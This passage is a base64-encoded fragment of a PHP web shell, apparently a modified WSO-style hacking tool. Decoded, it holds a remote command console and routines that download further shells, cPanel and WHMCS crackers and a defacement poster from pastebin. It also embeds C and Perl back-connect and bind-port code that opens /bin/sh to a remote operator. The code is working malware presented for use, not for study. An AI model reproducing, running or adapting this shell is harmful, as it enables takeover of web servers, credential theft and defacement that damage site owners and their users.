xIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicuJHRlbXAuJzwvcHJlPic7CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsKICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLmNtZC52YWx1ZT0nJztcbiI7CiAgICAgICAgJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcXCdcMCIpKTsKICAgICAgICBpZihwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpICAgIHsKICAgICAgICAgICAgaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsKICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsKICAgICAgICAgICAgICAgIGVjaG8gImRvY3VtZW50Lm1mLmMudmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAiZG9jdW1lbnQuY2Yub3V0cHV0LnZhbHVlKz0nIi4kdGVtcC4iJzsiOwogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7CiAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBwcmludEhlYWRlcigpOwoKZWNobyAnPHNjcmlwdD4KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsKdmFyIGNtZHMgPSBuZXcgQXJyYXkoIiIpOwp2YXIgY3VyID0gMDsKZnVuY3Rpb24ga3AoZSkgewogICAgdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7CiAgICBpZihuID09IDM4KSB7CiAgICAgICAgY3VyLS07CiAgICAgICAgaWYoY3VyPj0wKQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CiAgICAgICAgZWxzZQogICAgICAgICAgICBjdXIrKzsKICAgIH0gZWxzZSBpZihuID09IDQwKSB7CiAgICAgICAgY3VyKys7CiAgICAgICAgaWYoY3VyIDwgY21kcy5sZW5ndGgpCiAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKICAgICAgICBlbHNlCiAgICAgICAgICAgIGN1ci0tOwogICAgfQp9CmZ1bmN0aW9uIGFkZChjbWQpIHsKICAgIGNtZHMucG9wKCk7CiAgICBjbWRzLnB1c2goY21kKTsKICAgIGNtZHMucHVzaCgiIik7CiAgICBjdXIgPSBjbWRzLmxlbmd0aC0xOwp9Cjwvc2NyaXB0Pic7CiAgICBlY2hvICc8aDE+Q29uc29sZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGRvY3VtZW50LmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkb2N1bWVudC5jZi5vdXRwdXQudmFsdWU9XCdcJztkb2N1bWVudC5jZi5jbWQudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsKICAgIGZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgewogICAgICAgIGlmKCR2ID09ICcnKSB7CiAgICAgICAgICAgIGVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsKICAgIH0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKICAgIGVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO2lmKGRvY3VtZW50LmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO31lbHNle2cobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9IiB2YWx1ZT0iPj4iPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDsiIHJlYWRvbmx5Pic7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSkpOwogICAgfQogICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXItdG9wOjE7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+JzsKICAgIGVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmRvY3VtZW50LmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7CiAgICB1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsKICAgIGVjaG8gJzx0aXRsZT5HZXQgb3V0IE5vdzwvdGl0bGU+PGJvZHkgYmdjb2xvcj0jMDAwMDAwPjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9pNjMudGlueXBpYy5jb20vMTEwOHZpYy5qcGciPjxicj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj5ib2R5LCBhOmhvdmVyIHtjdXJzb3I6IHVybChodHRwOi8vY3VyLmN1cnNvcnMtNHUubmV0L2N1cnNvcnMvY3VyLTExL2N1cjEwNTQuY3VyKSwgcHJvZ3Jlc3MgIWltcG9ydGFudDt9PC9zdHlsZT48YSBocmVmPSJodHRwOi8vd3d3LmN1cnNvcnMtNHUuY29tL2N1cnNvci8yMDEyLzAyLzExL2Nocm9tZS1wb2ludGVyLmh0bWwiIHRhcmdldD0iX2JsYW5rIiB0aXRsZT0iQ2hyb21lIFBvaW50ZXIiPjxpbWcgc3JjPSJodHRwOi8vY3VyLmN1cnNvcnMtNHUubmV0L2N1cnNvci5wbmciIGJvcmRlcj0iMCIgYWx0PSJDaHJvbWUgUG9pbnRlciIgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB0b3A6IDBweDsgcmlnaHQ6IDBweDsiIC8+PC9hPgo8c3BhbiBzdHlsZT0iY29sb3I6cmVkO2ZvbnQ6IDIwcHQgYXVkaW93aWRlOyI+WW91ciBhcmUgb3V0IG5vdyA6RDxicj53d3cuZmFjZWJvb2suY29tL3NtZXZrcGF0aGFuPC9oMj48L3NwYW4+PC9jZW50ZXI+PC9ib2R5Pic7Cn0KCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKSB7CiAgICAgICAgaWYoQHVubGluayhTRUxGX1BBVEgpKQogICAgICAgICAgICBkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsKICAgICAgICBlbHNlCiAgICAgICAgICAgIGVjaG8gJ3VubGluayBlcnJvciEnOwogICAgfQogICAgZWNobyAnPGgxPlN1aWNpZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD5SZWFsbHkgd2FudCB0byByZW1vdmUgdGhlIHNoZWxsPzxicj48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCd5ZXNcJykiPlllczwvYT48L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQovLy9teSBlZGl0aW5nIHN0YXJ0IGhlcmUgZm9yIHRvb2xzCiAgICBmdW5jdGlvbiBkb3dubG9hZF9yZW1vdGVfZmlsZSgkZmlsZV91cmwsICRzYXZlX3RvKQogICAgewogICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfdXJsKTsKCiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHNhdmVfdG8sICRjb250ZW50KTsKCiAgICB9CiAgICBpZiAoaXNzZXQoJF9QT1NUWydkaGFudXNoJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPVU5bnFFZ1JOJywgcmVhbHBhdGgoIi4vIikgLiAnL2RoYW51c2gucGhwJyk7CiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpkaGFudXNoLnBocCIpOwoKICAgIH0gCiAgICBpZiAoaXNzZXQoJF9QT1NUWydTeW1saW5rYnlTbWV2ayddKSkgewogICAgICAgIGRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT1QaFNrN0t2cScsIHJlYWxwYXRoKCIuLyIpIC4gJy9TeW1saW5rYnlTbWV2ay5waHAnKTsKICAgICAgICBoZWFkZXIoImxvY2F0aW9uOlN5bWxpbmtieVNtZXZrLnBocCIpOwogICAKICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydTeW1saW5rYnlDaGVldGFoJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPUVYZWpnQU12JywgcmVhbHBhdGgoIi4vIikgLiAnL1N5bWxpbmtieUNoZWV0YWgucGhwJyk7CiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpTeW1saW5rYnlDaGVldGFoLnBocCIpOwogICAKICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydTeW1saW5rYnlUb3JqYW4nXSkpIHsKICAgICAgICBkb3dubG9hZF9yZW1vdGVfZmlsZSgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9WVVnNHBYZTInLCByZWFscGF0aCgiLi8iKSAuICcvc3ltLnB5Jyk7CiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnU2NyaXB0IGlzIGhlcmUgL3N5bS5weSBleGVjdXRlIGl0IGZyb20gdGhlcmUuVHlwZSBpbiBjb25zb2xlIChQeXRob24gc3ltLnB5KScpPC9zY3JpcHQ+IjsKICAgICAgICAKICAgCiAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnQ3BhbmVsQ3JhY2tlciddKSkgewogICAgICAgIGRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT16WXhzUDBNSCcsIHJlYWxwYXRoKCIuLyIpIC4gJy9DcGFuZWxDcmFja2VyLnBocCcpOwogICAgICAgIGhlYWRlcigibG9jYXRpb246Q3BhbmVsQ3JhY2tlci5waHAiKTsKICAgCiAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnRGJsb2dpbiddKSkgewogICAgICAgIGRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT1RNTJHOWtqSicsIHJlYWxwYXRoKCIuLyIpIC4gJy9EYmxvZ2luLnBocCcpOwogICAgICAgIGhlYWRlcigibG9jYXRpb246RGJsb2dpbi5waHAiKTsKICAgCiAgICB9CiAgICBpZiAoaXNzZXQoJF9QT1NUWydDcGFuZWxrYnlHdWpqYXInXSkpIHsKICAgICAgICBkb3dubG9hZF9yZW1vdGVfZmlsZSgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9Tk05U0Q5YlYnLCByZWFscGF0aCgiLi8iKSAuICcvQ3BhbmVsa2J5R3VqamFyLnBocCcpOwogICAgICAgIGhlYWRlcigibG9jYXRpb246Q3BhbmVsa2J5R3VqamFyLnBocCIpOwogICAKICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydiMzc0ayddKSkgewogICAgICAgIGRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT0xaURaZmpaOScsIHJlYWxwYXRoKCIuLyIpIC4gJy9iMzc0ay5waHAnKTsKICAgICAgICBoZWFkZXIoImxvY2F0aW9uOmIzNzRrLnBocCIpOwogICAKICAgIH0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnWm9uZWhNYXNzUG9zdGVyJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPW1EWG5TbmoyJywgcmVhbHBhdGgoIi4vIikgLiAnL1pvbmVoTWFzc1Bvc3Rlci5waHAnKTsKICAgICAgICBoZWFkZXIoImxvY2F0aW9uOlpvbmVoTWFzc1Bvc3Rlci5waHAiKTsKICAgCiAgICB9CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydXaG1jcyddKSkgewogICAgICAgIGRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT1LMEtRV1VDaycsIHJlYWxwYXRoKCIuLyIpIC4gJy9XaG1jcy5waHAnKTsKICAgICAgICBoZWFkZXIoImxvY2F0aW9uOldobWNzLnBocCIpOwogICAKICAgIH0KCgoKCgoKZnVuY3Rpb24gYWN0aW9uSW1wb3J0U2NyaXB0cygpIHsKICAgIHByaW50SGVhZGVyKCk7CmVjaG8gJzx0YWJsZSBib3JkZXI9IjFweCIgYWxpZ249ImNlbnRlciIgaWQgPSJTbWV2a3Rvb2xzIiBjZWxscGFkZGluZz0iMTAiIGJvcmRlci1jb2xvciJncmVlbiI+PHRyPjx0ZD5KdXN0IGNsaWNrIGFuZCBnZXQgdGhlIFNjcmlwdCA6KS48L3RkPjx0cj48dGQ+Cjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iZGhhbnVzaCIgICAgICAgICAgICAgIHZhbHVlID0iRGhhbnVzaCBTaGVsbCI+PC90ZD48L3RyPic7CmVjaG8gJzx0ZD48Zm9ybSBhY3Rpb24gPSIiICAgICBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iU3ltbGlua2J5U21ldmsiICAgICAgIHZhbHVlID0iU3ltbGluayBTY3JpcHQgQnkgU21FdktfUGFUaEFuIj48L2E+PC90ZD48L3RyPic7CmVjaG8gJzx0cj48dGQ+PGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iU3ltbGlua2J5Q2hlZXRhaCIgICAgIHZhbHVlID0iU3ltbGluayBCeSBLYXNobWlyaSBDaGVldGFoIj48L2E+PC90ZD48L3RyPic7CmVjaG8gJzx0cj48dGQ+PGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iU3ltbGlua2J5VG9yamFuIiAgICAgIHZhbHVlID0iU3ltbGluayBQeXRob24gU2NyaXB0IEJ5IFRvcmphbiI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9IkNwYW5lbENyYWNrZXIiICAgICAgICB2YWx1ZSA9IkNwYW5lbCBDcmFja2VyIj48L2E+PC90ZD48L3RyPic7CmVjaG8gJzx0cj48dGQ+PGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iRGJsb2dpbiIgICAgICAgICAgICAgIHZhbHVlID0iRGF0YWJhc2UgTG9naW4gU2NyaXB0Ij48L2E+PC90ZD48L3RyPic7CmVjaG8gJzx0cj48dGQ+PGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iQ3BhbmVsa2J5R3VqamFyIiAgICAgIHZhbHVlID0iR3VqamFyIFBjcCBDcGFuZWwgQ3JhY2tlciI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImIzNzRrIiAgICAgCQkgICAgIHZhbHVlID0iYjM3NGsgU2hlbGwiPjwvYT48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJab25laE1hc3NQb3N0ZXIiICAgICAgIHZhbHVlID0iWm9uZS1oIE1hc3MgUG9zdGVyIj48L2E+PC90ZD48L3RyPic7CmVjaG8gJzx0cj48dGQ+PGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iV2htY3MiICAgICAgICAgICAgICAgICB2YWx1ZSA9IldITUNTIEtJTExFUiBWMyI+PC9hPjwvdGQ+PC90cj4nOwoKCgoKCiAgICAKICAgIHByaW50Rm9vdGVyKCk7Cn0KCgpmdW5jdGlvbiBhY3Rpb25OZXR3b3JrKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgICRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEyOXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpiRzl6WlNobVpDazdEUXA5IjsKICAgICRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOwogICAgJGJpbmRfcG9ydF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGRXNXBjM1JrTG1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJdWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdSc2FXSXVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ29xWVhKbmRpa2dldzBLSUNBZ0lHbHVkQ0J6TEdNc2FUc05DaUFnSUNCamFHRnlJSEJiTXpCZE93MEtJQ0FnSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCeU93MEtJQ0FnSUdSaFpXMXZiaWd4TERBcE93MEtJQ0FnSUhNZ1BTQnpiMk5yWlhRb1FVWmZTVTVGVkN4VFQwTkxYMU5VVWtWQlRTd3dLVHNOQ2lBZ0lDQnBaaWdoY3lrZ2NtVjBkWEp1SUMweE93MEtJQ0FnSUhJdWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2NpNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBiMmtvWVhKbmRsc3hYU2twT3cwS0lDQWdJSEl1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJtd29TVTVCUkVSU1gwRk9XU2s3RFFvZ0lDQWdZbWx1WkNoekxDQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BKbklzSURCNE1UQXBPdzBLSUNBZ0lHeHBjM1JsYmloekxDQTFLVHNOQ2lBZ0lDQjNhR2xzWlNneEtTQjdEUW9nSUNBZ0lDQWdJR005WVdOalpYQjBLSE1zTUN3d0tUc05DaUFnSUNBZ0lDQWdaSFZ3TWloakxEQXBPdzBLSUNBZ0lDQWdJQ0JrZFhBeUtHTXNNU2s3RFFvZ0lDQWdJQ0FnSUdSMWNESW9ZeXd5S1RzTkNpQWdJQ0FnSUNBZ2QzSnBkR1VvWXl3aVVHRnpjM2R2Y21RNklpdzVLVHNOQ2lBZ0lDQWdJQ0FnY21WaFpDaGpMSEFzYzJsNlpXOW1LSEFwS1RzTkNpQWdJQ0FnSUNBZ1ptOXlLR2s5TUR0cFBITjBjbXhsYmlod0tUdHBLeXNwRFFvZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdnS0hCYmFWMGdQVDBnSjF4dUp5a2dmSHdnS0hCYmFWMGdQVDBnSjF4eUp5a2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEJiYVYwZ1BTQW5YREFuT3cwS0lDQWdJQ0FnSUNCcFppQW9jM1J5WTIxd0tHRnlaM1piTWwwc2NDa2dQVDBnTUNrTkNpQWdJQ0FnSUNBZ0lDQWdJSE41YzNSbGJTZ2lMMkpwYmk5emFDQXRhU0lwT3cwS0lDQWdJQ0FnSUNCamJHOXpaU2hqS1RzTkNpQWdJQ0I5RFFwOSI7CiAgICAkYmluZF9wb3J0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7CiAgICAKICAgIGVjaG8gJzxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPVwnbmZwXCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5wb3J0LnZhbHVlLHRoaXMucGFzcy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+CiAgICA8YnIgLz48c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPgogICAgUG9ydDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3BvcnRcJyB2YWx1ZT1cJzQ0M1wnPiBQYXNzd29yZDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3Bhc3NcJyB2YWx1ZT1cJ1Bha2lzdGFuIEhheG9yc1wnPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT1cJ2JwY1wnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnYnBwXCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KICAgIDwvZm9y